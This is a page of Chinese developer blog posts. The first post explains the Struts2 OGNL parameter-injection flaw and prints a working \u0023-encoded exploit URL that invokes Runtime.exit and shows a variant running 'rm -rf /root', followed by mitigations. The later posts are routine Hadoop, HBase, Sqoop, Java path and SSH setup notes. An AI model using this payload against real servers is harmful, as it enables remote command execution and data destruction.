posts - 110, comments - 101, trackbacks - 0, articles - 7
  BlogJava :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
Java代码  
  1. ?user.address.city=Bishkek&user['favoriteDrink']=kumys  

ONGL将它转换为:
Java代码  
  1. action.getUser().getAddress().setCity("Bishkek")   
  2. action.getUser().setFavoriteDrink("kumys")  

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
Java代码  
  1. ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1  

转义后是这样:
Java代码  
  1. ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1  

OGNL处理时最终的结果就是
Java代码  
  1. java.lang.Runtime.getRuntime().exit(1);  

类似的可以执行
Java代码  
  1. java.lang.Runtime.getRuntime().exec("rm –rf /root")  
,只要有权限就可以删除任何一个目录。
目前尝试了3个解决方案:

1.升级到struts2.2版本。
这个可以避免这个问题,但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release),经我测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。
Java代码  
  1. <s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>   
  2. <s:property value="#UserUtil.getType().get(cType.toString())" />  

这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的问题导致的,补了漏洞,正常的使用也用不了了。
所以sebug网站上的建议升级到2.2版本是不可行的。

2.struts参数过滤。
Java代码  
  1. <interceptor-ref name="params">   
  2. <param name="excludeParams">.*\\u0023.*</param>   
  3. </interceptor-ref>  

这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。如果项目里,是引用的一个类似global.xml的配置文件,工作量相应减少一些。

3.在前端请求进行过滤。
比如在ngnix,apache进行拦截,参数中带有\u0023的一律视为攻击,跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。
请求如果是get方式,可以进行过滤,如果是post方式就过滤不到了,所以还是应该修改配置文件或更新新的jar包。

目前来看后两种是比较有效的方法,采用第三种方法比较简便。是否有另外的解决办法,欢迎大家讨论。

我并没有在windows环境下测试,有同学在windows下没有试验成功,这并不能说明windows下就没有风险可能是我们的参数或者什么地方有问题而已。既然漏洞的确存在,咱们就要重视对吧。欢迎大家测试,是否windows下漏洞不能执行成功。

posted @ 2012-07-11 13:26 云云 阅读(4320) | 评论 (1)编辑 收藏

中午去热饭的时候 一童鞋提到了这个参数。
饭后回来查了一下这个参数,在hdfs-default.xml中
找到了这个参数,发现默认是false。
<property>
  <name>dfs.support.append</name>
  <value>false</value>
  <description>Does HDFS allow appends to files?
               This is currently set to false because there are bugs in the
               "append code" and is not supported in any prodction cluster.
  </description>
</property>

我用的版本是1.0.1,顺便看了下1.0.2 也是一样没有更改,默认是false。
那么为什么呢。其实看一下description就知道了这个不支持集群中使用。
如果同时多个程序在操作同一份文件,就会引起文件的冲突。
那这个参数用在什么场景的呢?
在做mapreduce的过程中,hadoop framwork会产生很多的临时数据,
在reduce出结果后 把内容输出到指定的目录,
那么在mapreduce的过程中,我们需要把部分内容存储到hdfs中怎么办呢。
这时候可以开发人员可以使用FileSystem来把文件存储到hdfs中。
这时候就会使用到dfs.support.append参数了。








posted @ 2012-07-09 11:25 云云 阅读(3249) | 评论 (0)编辑 收藏

在运行了一段时间hadoop集群后,机器重启了一次。
然后启动hadoop,再jps没有看到namenode 和datanode的pid
很不解,于是再重启,却又报4900端口存在 需要停止。
这下有意思了。无奈之下 使用netsat -nap | grep 4900来查看是否存在
果然存在,再用命令lsof -i:49000 找出4900端口号的进程id。再用kill -9 来杀死。

问题是解决了,可不能每次这样啊,后来发现hadoop默认的pid是存在
linux下的/tmp目录下的。每一个pid 使用文件像hadoop-hadoop-jobtracker.pid
这样的文件名存放起来的。可以cat一下 看看内容。

linux重启的时候 会把tmp目录中的内容删除,同时crontab 也会在一定时间后删除
tmp目录下的文件。索性,hadoop可以设置pid的存放位置。
在hadoop-env.sh中,默认是关闭了的。删除 # export HADOOP_PID_DIR=/var/hadoop/pids 前面的#
把路径设置成你想要的路径。
同样的hbase也是一样的,最好改一下。
到这里让我想起了hbase曾经报过一个错误 找不到hbase.version
在tmp目录也有这个文件,我想重启机器后 hbase找不到这个文件也与这个目录有关。




posted @ 2012-07-06 11:41 云云 阅读(1775) | 评论 (0)编辑 收藏

Java代码  
  1. <pre id="content-586097673" mb10">一 相对路径的获得   
  2. 说明:相对路径(即不写明时候到底相对谁)均可通过以下方式获得(不论是一般的java项目还是web项目)   
  3. String relativelyPath=System.getProperty("user.dir"); 上述相对路径中,java项目中的文件是相对于项目的根目录 web项目中的文件路径视不同的web服务器不同而不同(tomcat是相对于 tomcat安装目录/bin)  

  
Java代码
  1. 二 类加载目录的获得(即当运行时某一类时获得其装载目录) 1.1)通用的方法一(不论是一般的java项目还是web项目,先定位到能看到包路径的第一级目录) InputStream is=TestAction.class.getClassLoader().getResourceAsStream("test.txt"); (test.txt文件的路径为 项目名/src/test.txt;类TestAction所在包的第一级目录位于src目录下) 上式中将TestAction,test.txt替换成对应成相应的类名和文件名字即可 1.2)通用方法二 (此方法和1.1中的方法类似,不同的是此方法必须以'/'开头) InputStream is=Test1.class.getResourceAsStream("/test.txt"); (test.txt文件的路径为 项目名/src/test.txt,类Test1所在包的第一级目录位于src目录下)  

  
Java代码  
  1. 三 web项目根目录的获得(发布之后) 1 从servlet出发 可建立一个servlet在其的init方法中写入如下语句 ServletContext s1=this.getServletContext(); String temp=s1.getRealPath("/"); (关键) 结果形如:D:/工具/Tomcat-6.0/webapps/002_ext/ (002_ext为项目名字) 如果是调用了s1.getRealPath("")则输出D:/工具/Tomcat-6.0/webapps/002_ext(少了一个"/")   
  2.    2 从httpServletRequest出发 String cp11111=request.getSession().getServletContext().getRealPath("/"); 结果形如:D:/工具/Tomcat-6.0/webapps/002_ext/  

  
Java代码  
  1. 四 classpath的获取(在Eclipse中为获得src或者classes目录的路径) 方法一 Thread.currentThread().getContextClassLoader().getResource("").getPath() eg: String t=Thread.currentThread().getContextClassLoader().getResource("").getPath(); System.out.println("t---"+t); 输出:t---/E:/order/002_ext/WebRoot/WEB-INF/classes/  

   
Java代码  
  1. 方法二 JdomParse.class.getClassLoader().getResource("").getPath() (JdomParse为src某一个包中的类,下同) eg:String p1=JdomParse.class.getClassLoader().getResource("").getPath(); System.out.println("JdomParse.class.getClassLoader().getResource--"+p1); 输出: JdomParse.class.getClassLoader().getResource--/E:/order/002_ext/WebRoot/WEB-INF/classes/  

   
Java代码  
  1. 另外,如果想把文件放在某一包中,则可以 通过以下方式获得到文件(先定位到该包的最后一级目录) eg String p2=JdomParse.class.getResource("").getPath(); System.out.println("JdomParse.class.getResource---"+p2); 输出: JdomParse.class.getResource---/E:/order/002_ext/WebRoot/WEB-INF/classes/jdom/ (JdomParse为src目录下jdom包中的类) 四 属性文件的读取: 方法 一 InputStream in = lnew BufferedInputStream( new FileInputStream(name)); Properties p = new Properties(); p.load(in);  

   
Java代码  
  1. 注意路径的问题,做执行之后就可以调用p.getProperty("name")得到对应属性的值 方法二 Locale locale = Locale.getDefault(); ResourceBundle localResource = ResourceBundle.getBundle("test/propertiesTest", locale); String value = localResource.getString("test"); System.out.println("ResourceBundle: " + value); 工程src目录下propertiesTest.properties(名字后缀必须为properties)文件内容如下: test=hello word   

posted @ 2012-07-03 16:05 云云 阅读(26682) | 评论 (0)编辑 收藏

     摘要: 在项目中经常会遇到文件加载并解析的问题加载Properties文件很简单 可以直接使用Properties提供的方法就可以了如果是加载xml文件可以使用 MyTest.class.getClass().getClassLoader().getResourceAsStream(fileName); Code highlighting produced by Actipro CodeHighlig...  阅读全文

posted @ 2012-07-02 14:00 云云 阅读(1477) | 评论 (0)编辑 收藏

在HBase中 一个row对应的相同的列只会有一行。使用scan 或get 得到都是最新的数据
如果我们对这某一row所对应的列进行了更改操作后,并不会多生成一条数据,不会像RDBMS一样
insert时多生成一条记录,在HBase中对同一条数据的修改或插入 都只是put操作,最终看到的都是
最新的数据,其它的数据在不同的version中保存,就像隐藏的东西一样

那么如何才能看到这些隐藏version的值呢

            Get get = new Get(startRow);
            get.setMaxVersions();
            Result result = table.get(get);
             List<KeyValue> list = result.list();
              for(final KeyValue v:list){
                  logger.info("value: "+ v+ " str: "+Bytes.toString(v.getValue()));
              }
加入setMaxVersions()方法就可以把所有的版本都取出来了
           


posted @ 2012-06-27 13:37 云云 阅读(5555) | 评论 (0)编辑 收藏

我在\bin\catalina.bat,这个文件在最开头加上下面这段就ok了
if ""%1"" == ""stop"" goto skip_config

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8787

:skip_config


posted @ 2012-06-10 18:01 云云 阅读(1142) | 评论 (0)编辑 收藏

最近使用sqoop把数据从oracle导入到hbase 遇到各种问题 耗了很多时间
遇到的异常在网上也没找到过先例 可能有朋友也遇到了这样的问题
整理一下 留在这里 欢迎拍砖 看到的朋友 如果有更好的方法 可以回复 一起学习
使用sqoop 导mysql的数据时 一切顺利很方便 
导oracle的时候 问题就来了
--query命令: 使用这个命令的时候 需要注意的是 where后面的参数,$CONDITIONS 这个参数必须加上
而且存在单引号与双引号的区别,如果--query后面使用的是双引号 那么需要在$CONDITIONS\ \$CONDITIONS

./sqoop import --connect jdbc:oracle:thin:@192.168.8.130:1521:dcshdev --username User_data2 --password yhdtest123qa --query "select * from so_ext t where \$CONDITIONS " -m 4 --hbase-create-table --hbase-table hso --column-family so --hbase-row-key id --split-by id

如果使用--columns指令来指定字段 也出现了问题
因为在一行中写太多命令是不可能的,--columns 如果字段太多在命令中写也不方便
所以使用shell脚本要方便的多
那么在脚本中换行使用 \  来换行

有个问题就是 使用--columns 指定的字段大小写要注意 得使用小写。
如果使用大写 导数据不会有异常 会成功的,hbase中表也会创建好,但是scan的时候 你会发现没有数据 这个蛋疼吧
--columns id,order_id,order_code
而且每个字段之间用逗号分隔,但是不能有空格,在sqoop中没有处理空格,如果在这个命令后的参数有空格的话
就不能和oracle表中的字段对应上了 结果虽然没有错误能够显示成功导入多了条数据,但是scan的时候 会是0条数据

关于导mysql和oracle的时候 还有个区别:
导mysql表的数据时 不需要指定太多的命令就可以成功导入,但是oracle就需要很多命令 ,如--split-by 这个切分参数
在导mysql的时候 就不需要 ,但是如果在导oracle的时候 不加上就会出错了 不信你试试





posted @ 2012-05-28 17:05 云云 阅读(9307) | 评论 (4)编辑 收藏

最近工作中用到hadoop集群
由于刚开始使用 会出很多问题 经常会得启会删除日志会改配置
但是删除日志 是一件很麻烦的事  集群节点越多 删除日志 越累
索性写一个脚本来删除日志
通过ssh到各个节点  使用这个脚本前提是已经配置ssh无密码登录

dir=$1
case $1 in
hadoop)
 echo "will delete hadoop cluster logs ...."
 rm -rf /usr/hadoop/hadoop-1.0.1/logs/*
 echo "delete hadoop master logs done "
 

 for slave in $(cat /usr/hadoop/hadoop-1.0.1/conf/slaves);do
   echo "delete $slave hadoop logs"
   ssh $slave "rm -rf /usr/hadoop/hadoop-1.0.1/logs/*"
 done
 echo "delete hadoop cluster logs done ..."
 ;;

hbase)
  echo "will delete hbase cluster logs ...."
  rm -rf /usr/hadoop/hbase-0.92.1/logs/*
  echo "delete master hbase logs...."

  for hslave in $(cat /usr/hadoop/hbase-0.92.1/conf/regionservers);do
    echo "delete $hslave hbase logs "
    ssh $hslave "rm -rf /usr/hadoop/hbase-0.92.1/logs/*"
  done
  echo "delete hbase cluster logs done ...."
  ;;

*)
  echo "usage params : {hadoop|hbase} "

esac

 



posted @ 2012-05-25 12:26 云云 阅读(803) | 评论 (0)编辑 收藏

之所以要把这个记录下来
是因为它的确和root用户不一样
root用户 不需要改动什么权限问题  只要生成私钥/公钥对 即可

但是一样的操作在普通用户上就出了问题了
折腾了老半天

ssh-keygen -t rsa

一路回车 就好

然后会生成几个文件
id_rsa
id_rsa.pub
known_hosts

然后执行

cat id_rsa.pub >> authorized_keys

如果是root用户  做完这一步 就可以了 就可以使用ssh slave01 或 ip 登录了
但是 郁闷的是 同样的操作 到了普通用户上就不行了

网上找了很多办法 什么修改sshd_config之类的 试过都没用
其实最终还是权限问题  什么都配置文件都不用改 只需要赋一下权限就ok
默认生成的文件authorized_keys权限:
-rw-rw-r-- 1 hadoop hadoop  395 05-16 17:59 authorized_keys
默认生成的.ssh权限是可以


下面一个个的赋权限
首先是给.ssh目录赋一个权限  
1 chmod 700 /usr/hadoop/.ssh

2 chmod 600 authorized_keys
3 chmod 600 id_rsa
这下就可以ssh slave01了 
还是不行的话 就仔细检查一下权限

-rw------- 1 hadoop hadoop  396 05-16 05:10 authorized_keys
-rw------- 1 hadoop hadoop 1675 05-16 05:10 id_rsa
-rwxrwxrwx 1 hadoop hadoop  396 05-16 05:10 id_rsa.pub
-rwxrwxrwx 1 hadoop hadoop  402 05-16 05:10 known_hosts

 .ssh目录权限:
drwx------  2 hadoop hadoop 4096 05-16 05:10 .ssh
















posted @ 2012-05-16 17:59 云云 阅读(10201) | 评论 (0)编辑 收藏

仅列出标题
共12页: 上一页 1 2 3 4 5 6 7 8 9 下一页 Last